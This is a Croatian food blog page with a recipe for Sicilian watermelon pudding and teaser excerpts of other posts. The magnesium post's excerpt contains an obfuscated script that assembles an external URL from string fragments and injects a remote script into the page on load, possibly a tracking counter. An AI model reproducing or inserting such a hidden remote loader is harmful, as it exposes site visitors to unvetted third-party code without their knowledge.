SICILIJANSKI PUDING OD LUBENICE 🍉




Sicilijanski puding od lubenice 




Ovaj lagani puding od svježe lubenice priprema se od prirodnog soka lubenice koji se aromatizira cimetom i, po želji, cvjetovima jasmina. Sok od lubenice napravit ćete jednostavno tako da lubenicu narežete na kockice i uklonite koštice pa izmiksate u blenderu i procijedite. Manja lubenica dat će približno jednu litru soka.





Sicilijanski puding od lubenice 


Sastojci:

  • 1 l soka od lubenice (izmiksana lubenica bez koštica)
  • 100 g šećera
  • 80 – 100 g kukuruznog škroba
  • prstohvat mljevenog cimeta
  • 1 – 2 klinčića (po želji)
  • nekoliko cvjetova jasmina (po želji)

Dodaci, po želji

  • 50 g tamne čokolade, sitno nasjeckane
  • 50 g kandirane bundeve (zuccata), sitno narezane

Za posluživanje

  • 30 g mljevenih pistacija
  • listići tamne čokolade
  • cvjetovi jasmina




Priprema:

  1. Odvojite oko 200 ml soka od lubenice i ostavite sa strane. Preostalih 800 ml ulijte u lonac i zagrijavajte na laganoj vatri.
  2. U odvojeni dio soka umiješajte škrob i dobro miješajte dok ne dobijete potpuno glatku smjesu bez grudica.
  3. U lonac sa zagrijanim sokom dodajte šećer, cimet te po želji klinčiće i cvjetove jasmina. Umiješajte pripremljenu smjesu sa škrobom i neprestano miješajte pjenjačom.
  4. Kuhajte na srednje laganoj vatri dok se smjesa ne zgusne poput pudinga. Kada zavrije, nastavite kuhati još 1 do 2 minute uz stalno miješanje.
  5. Maknite s vatre i po želji procijedite kroz fino sito kako biste dobili potpuno glatku teksturu i uklonili cvjetove jasmina ili klinčiće.
  6. Ako želite dodati čokoladu i kandiranu bundevu, lagano ih umiješajte u ohlađenu smjesu.
  7. Puding rasporedite u desertne čašice, zdjelice ili pojedinačne kalupe. Stavite u hladnjak na najmanje 2 sata. Za čvršću teksturu i lakše vađenje iz kalupa, ostavite preko noći.
  8. Poslužite dobro ohlađen puding u zdjelicama ili ga pažljivo istresite na desertne tanjuriće. Pospite mljevenim pistacijama, ukrasite strugotinama tamne čokolade cvjetovima jasmina.



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

CUPCAKES S MRKVOM I KREMOM OD SIRA 🥕

Slika
Cupcakes s mrkvom i kremom od sira  Cupcakes s mrkvom - mekani, sočni i prekriveni bogatom kremom od sira za savršen završetak. Idealni su za svaku priliku, od obiteljskih okupljanja do blagdanskih užitaka. Cupcakes s mrkvom i kremom od sira  Sastojci:  180 ml ulja 190 g smeđeg šećera 1 ½ čajne žličice vanilin šećera 2 jaja 180 g mrkve, oguljene, naribane i sitno sjeckane 160 g brašna 1 čajna žličica praška za pecivo ½ čajne žličice sode bikarbone 1 ¼ čajne žličice mljevenog cimeta ¼ čajne žličice mljevenog đumbira ¾ čajne žličice soli Za kremu od sira 140 g krem sira (omekšalog) 75 g maslaca (slanog, omekšalog) 250 g šećera u prahu 1 čajna žličica vanilin šećera Priprema: Zagrijte pećnicu na 175 stupnjeva. Pripremite lim za muffine s 12 kalupa i lagano ga namastite. Naribajte mrkve i dodatno ih nasjeckajte. U velikoj zdjeli pjenasto umutite ulje, smeđi šećer, jaja i vanilu dok se sve dobro ne poveže. Dodajte pripremljenu mrkvu, a potom lagano pomiješajte...
Pročitajte više